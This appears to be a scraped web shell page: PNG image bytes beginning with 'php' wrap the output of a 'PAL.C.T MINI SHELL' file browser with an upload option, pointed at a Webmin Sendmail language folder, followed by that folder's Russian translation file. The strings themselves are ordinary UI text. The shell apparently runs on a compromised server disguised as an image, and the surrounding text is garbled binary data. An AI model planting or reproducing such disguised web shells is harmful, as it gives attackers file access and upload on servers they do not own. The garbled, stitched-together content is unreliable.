php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/sendmail/lang/
upload
files >> //usr/libexec/webmin/sendmail/lang/ru.auto

index_version2=Версия Sendmail $1, конфигурация $2 
index_xversion=Версия Sendmail $1 
index_sendmail=Отправить письмо

opts_maxbad=Максимум плохих получателей
opts_maxrcpt=Максимальное количество получателей на сообщение
opts_below=Введено ниже ..
opts_qso=Сортировать почтовую очередь по
opts_priority=приоритет
opts_host=Hostname
opts_time=Время получено

aliases_enofile=Файл псевдонимов не определен в вашей конфигурации Sendmail
aliases_delete=Удалить выбранные псевдонимы

aform_file=Добавить в файл псевдонимов
aform_cmt=Описание

rfile_replies=Отслеживать ответы, чтобы предотвратить почтовые петли?
rfile_none=нет
rfile_file=Да, используя файл журнала
rfile_period=Минимальный интервал между ответами
rfile_default=По умолчанию (1 час)
rfile_secs=секунд
rfile_ereplies=Отсутствует файл журнала отслеживания ответов
rfile_eperiod=Отсутствует или неверное количество секунд между ответами
rfile_no_autoreply=Не отправлять автоответчики
rfile_no_regexp=Не отправлять автоответы на сообщения, соответствующие регулярным выражениям
rfile_from=От: адрес для ответа
rfile_auto=Автоматический (на основе адреса получателя)
rfile_efrom=Отсутствует От: адрес
rfile_fromdesc=Адрес From: всегда следует указывать, где это возможно, поскольку автоматический метод может быть ненадежным.

adelete_err=Не удалось удалить псевдонимы
adelete_enone=Не выбрано, ничего не выбрано
adelete_ecannot=Вы не можете удалить псевдоним $1 

masq_ndomains=Домены не нужно маскировать

virtusers_cmt=Описание
virtusers_delete=Удалить выбранные сопоставления адресов

vform_cmt=Описание
vform_err_unavailable=Недоступен
vform_err_tempfail=Временный сбой
vform_err_protocol=Ошибка протокола

vdelete_err=Не удалось удалить сопоставления адресов
vdelete_ecannot=Вы не можете удалить сопоставление для $1 

mailers_delete=Удалить выбранные доменные маршруты

mform_host2=Хост или домен
mform_domain2=Все хосты в домене
mform_domain3=Домен и все его хосты

mdelete_err=Не удалось удалить маршрутизатор домена
mdelete_ecannot=Вы не можете удалить маршрут для $1 

generics_delete=Удалить выбранные исходящие адреса

gsave_ecannot3=Вы не можете сохранить этот исходящий адрес
gsave_ealready=Сопоставление исходящих адресов для $1 уже существует

gdelete_err=Не удалось удалить сопоставления исходящих адресов
gdelete_ecannot=Вы не можете удалить сопоставление для $1 

domains_delete=Удалить выбранные доменные сопоставления

dsave_ealready=Сопоставление доменов для $1 уже существует

ddelete_err=Не удалось удалить сопоставления домена
ddelete_ecannot=Вы не можете удалить сопоставление для $1 

access_delete=Удалить выбранные правила борьбы со спамом

sform_tag=Матч против
sform_tag_=Все
sform_tag_from=От: адрес
sform_tag_to=Адресовать
sform_tag_connect=Информация о соединении
sform_tag_spam=Информация о спаме

ssave_ecannot2=Вам не разрешено сохранять это правило контроля спама

sdelete_err=Не удалось удалить правила борьбы со спамом
sdelete_ecannot=Вы не можете удалить правило для $1 

mailq_dir=каталог
mailq_flushsel=Сбросить выбранные сообщения
mailq_flushquar=Flush Карантин Очередь
mailq_flushquardesc=Нажмите эту кнопку, чтобы принудительно доставить только помещенные в карантин сообщения в очередь.
mailq_search=Найти сообщения в очереди, где
mailq_quar=Quarantined
mailq_refresh=Обновить почтовую очередь
mailq_refreshdesc=Перезагрузите эту страницу, чтобы показать текущее состояние почтовой очереди.

flushq_desc2=Принудительная попытка доставки $1 выбранных сообщений.
flushq_ecannot=Вы не можете очистить почтовую очередь

searchq_title=Результаты поиска в очереди
searchq_none=Сообщения в очереди не найдены.

delq_ecannot2=Вы не можете удалить это сообщение
delq_rusure=Вы уверены, что хотите удалить $1 выбранных сообщений в очереди?
delq_confirm=Удалить сообщения

mail_euserexists=Этот пользователь Unix не существует
mail_move=Переместить в:
mail_copy=Скопировать в:
mail_eexists=Сообщение больше не существует!

view_body=Текстовое сообщение
view_flush=Румянец
view_print=Распечатать
view_egone=Это сообщение больше не существует
view_afile=Имя вложения
view_atype=Тип вложения
view_aname=Вложение
view_asize=Размер файла

reply_body=Текстовое сообщение

delete_title=Удалить почту
delete_rusure=Вы уверены, что хотите удалить $1 выбранных сообщений из $2 ? Это может занять некоторое время для большого почтового файла. Пока удаление не закончено, никакие другие действия не должны выполняться.
delete_rusure2=Вы уверены, что хотите удалить это сообщение из $1 ? Это может занять некоторое время для большого почтового файла. Пока удаление не закончено, никакие другие действия не должны выполняться.
delete_ok=Удалить сейчас
delete_efnone=Почта не выбрана для пересылки
delete_emoveuser=Пользователь для перемещения почты не существует
delete_emovecannot=Вы не можете пересылать почту указанному пользователю
delete_emovenone=Почта не выбрана для перемещения
delete_nobutton=Ни одна кнопка не нажата

search_efield=Вы должны выбрать тип поиска.
search_ewhat=Нет текста для сравнения введено для строки $1 
search_enone=Критерии поиска не введены
search_results4=$1 почтовых сообщений, соответствующих вашему запросу ..
search_local=В локальных папках
search_all=Во всех папках
search_eboolean=Булевы поиски с использованием и 'и' и 'или' не поддерживаются

file_ealias=Неверный формат строки файла псевдонимов : $1 
file_etab=Неверный формат строки файла карты : $1 

acl_ports=Можно ли редактировать сетевые порты?
acl_flushq=Можно ли очистить почтовую очередь?
acl_vcatchall=Можно ли создавать сопоставления для всех?
acl_qdoms=Адреса, видимые в очереди
acl_qdomsmode=Адрес очереди для соответствия
acl_qdomsmode0=От: адрес
acl_qdomsmode1=Адресовать
acl_qdomsmode2=Либо адрес
acl_usersu=С UID в диапазоне
acl_spam=Адреса спама, которые этот пользователь может редактировать

log_ports=Изменить сетевые порты
log_movemail=Сообщения $1 перемещены из $2 в $3 
log_delete_aliases=Удалены псевдонимы $1 
log_delete_virtusers=Удалены $1 сопоставления адресов
log_delete_domains=Удалены сопоставления домена $1 
log_delete_accesses=Удалено $1 контрольных записей спама
log_delete_generics=Удалено $1 исходящих адресов
log_delete_mailers=Удалены $1 доменные маршруты

match_status=Статус совпадений
match_headers=Заголовки совпадают
match_=-----------------
match_!status=Статус не соответствует
match_!headers=Заголовки не совпадают

stop_err=Не удалось остановить sendmail
stop_ecannot=Вы не можете остановить sendmail
stop_epid=Sendmail не работает
restart_epids=Не удалось найти процессы sendmail
restart_ekill=Не удалось сигнализировать о процессах sendmail : $1 

start_err=Не удалось запустить sendmail
start_ecannot=Вам не разрешено запускать sendmail

ports_title=Сетевые порты
ports_name=Название порта
ports_addr=Слушай по адресу
ports_all=Все
ports_ip=IP
ports_family=протокол
ports_inet=IPv4
ports_inet6=IPv6
ports_port=Слушай на порт
ports_opts=Параметры порта
ports_mod_a=Требовать SMTP-аутентификацию
ports_mod_b=Используйте тот же интерфейс для исходящей электронной почты
ports_mod_c=Выполнить канонификацию имени хоста
ports_mod_f=Требуется полное имя хоста
ports_mod_h=Использовать имя интерфейса для HELO
ports_mod_C=Не выполнять канонификацию имени хоста
ports_mod_E=Запретить ETRN
ports_def1=Принять электронную почту на порт 25 и все адреса
ports_def0=Принимать почту только по портам ниже
ports_err=Не удалось сохранить сетевые порты
ports_ecannot=Вы не можете управлять сетевыми портами
ports_ename=Неверное имя порта в строке $1 
ports_eclash=Повторяющееся имя порта в строке $1 
ports_eaddress=Отсутствующий или неверный IP-адрес в строке $1 
ports_eport=Отсутствует или неверный номер порта в строке $1 
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`